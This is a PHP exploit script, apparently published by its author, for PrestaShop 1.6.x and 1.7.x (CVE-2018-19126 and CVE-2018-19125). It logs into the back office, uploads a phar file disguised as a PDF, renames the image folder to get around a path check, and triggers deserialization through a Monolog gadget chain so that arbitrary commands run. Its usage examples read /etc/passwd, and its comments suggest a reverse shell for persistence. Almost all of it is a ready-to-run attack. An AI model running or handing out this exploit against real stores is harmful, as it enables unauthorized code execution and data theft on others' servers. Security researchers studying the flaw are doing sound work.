<?php
/**
*
* PrestaShop 1.6.x <= 1.6.1.23 & 1.7.x <= 1.7.4.4 - Back Office Remote Code Execution
* See https://github.com/farisv/PrestaShop-CVE-2018-19126 for explanation.
*
* Chaining multiple vulnerabilities to trigger deserialization via phar.
*
* Date:
* December 1st, 2018
*
* Author:
* farisv
*
* Vendor Homepage:
* https://www.prestashop.com/
*
* Vulnerable Package Link:
* https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
*
* CVE :
* - CVE-2018-19126
* - CVE-2018-19125
*
* Prerequisite:
* - PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4.
* - Back Office account (logistician, translator, salesman, etc.).
*
* Usage:
* php exploit.php back-office-url email password func param
*
* Example:
* php exploit.php http://127.0.0.1/admin-dev/ salesman@shop.com 54l35m4n123
* system 'cat /etc/passwd'
*
* Note:
* Note that the upload directory will be renamed and you can't upload the
* malicious phar file again if the folder name is not reverted. You might want
* to execute reverse shell to gain persistence RCE or include the command to
* rename the folder again in your payload (you need to know the path to the
* upload directory).
*
* FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
* THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
*
*/
namespace PrestaShopRCE {
class Exploit {
private $url;
private $email;
private $passwd;
private $cmd;
private $func;
private $param;
public function __construct($url, $email, $passwd, $func, $param) {
$this->url = $url;
$this->email = $email;
$this->passwd = $passwd;
$this->func = $func;
$this->param = $param;
}
private function post($path, $data, $cookie) {
$curl_handle = curl_init();
$options = array(
CURLOPT_URL => $this->url . $path,
CURLOPT_HEADER => true,
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIE => $cookie
);
curl_setopt_array($curl_handle, $options);
$raw = curl_exec($curl_handle);
curl_close($curl_handle);
return $raw;
}
private function fetch_cookie($raw) {
$header = "Set-Cookie: ";
$cookie_header_start = strpos($raw, $header);
$sliced_part = substr($raw, $cookie_header_start + strlen($header));
$cookie = substr($sliced_part, 0, strpos($sliced_part, ';'));
return $cookie;
}
public function run() {
// Login and get PrestaShop cookie
$data = array(
'email' => $this->email,
'passwd' => $this->passwd,
'submitLogin' => '1',
'controller' => 'AdminLogin',
'ajax' => '1'
);
$cookie = "";
$raw = $this->post('/', $data, $cookie);
$prestashop_cookie = $this->fetch_cookie($raw);
// Get FileManager cookie
$data = array();
$cookie = $prestashop_cookie;
$raw = $this->post('/filemanager/dialog.php', $data, $cookie);
$filemanager_cookie = $this->fetch_cookie($raw);
// Craft deserialization gadget
$gadget = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', $this->func],
[$this->param, 'level' => null]
)
);
// Craft malicious phar file
$phar = new \Phar('phar.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($gadget);
$phar->stopBuffering();
// Change the extension
rename('phar.phar', 'phar.pdf');
// Cookie for next requests
$cookie = "$prestashop_cookie; $filemanager_cookie";
// Upload phar.pdf
$curl_file = new \CurlFile('phar.pdf', 'application/pdf', 'phar.pdf');
$data = array(
'file' => $curl_file
);
$raw = $this->post('/filemanager/upload.php', $data, $cookie);
// Rename image directory to bypass realpath() check
$data = array(
'name' => 'renamed'
);
$raw = $this->post(
'/filemanager/execute.php?action=rename_folder',
$data,
$cookie
);
// Trigger deserialization
// The '/img/cms/' substring is important to bypass string check
$data = array(
'path' => 'phar://../../img/renamed/phar.pdf/img/cms/'
);
$raw = $this->post(
'/filemanager/ajax_calls.php?action=image_size',
$data,
$cookie
);
// Display the raw result
print $raw;
}
}
}
/*
* Based on
* https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/
*/
namespace Monolog\Handler {
class SyslogUdpHandler {
protected $socket;
function __construct($param) {
$this->socket = $param;
}
}
class BufferHandler {
protected $handler;
protected $bufferSize = -1;
protected $buffer;
protected $level = null;
protected $initialized = true;
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command) {
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace {
if (count($argv) != 6) {
$hint = "Usage:\n php $argv[0] back-office-url email password func param\n\n";
$hint .= "Example:\n php $argv[0] http://127.0.0.1/admin-dev/ ";
$hint .= "salesman@shop.com 54l35m4n123 system 'uname -a'";
die($hint);
}
if (!extension_loaded('curl')) {
die('Need php-curl');
}
$url = $argv[1];
$email = $argv[2];
$passwd = $argv[3];
$func = $argv[4];
$param = $argv[5];
$exploit = new PrestaShopRCE\Exploit($url, $email, $passwd, $func, $param);
$exploit->run();
}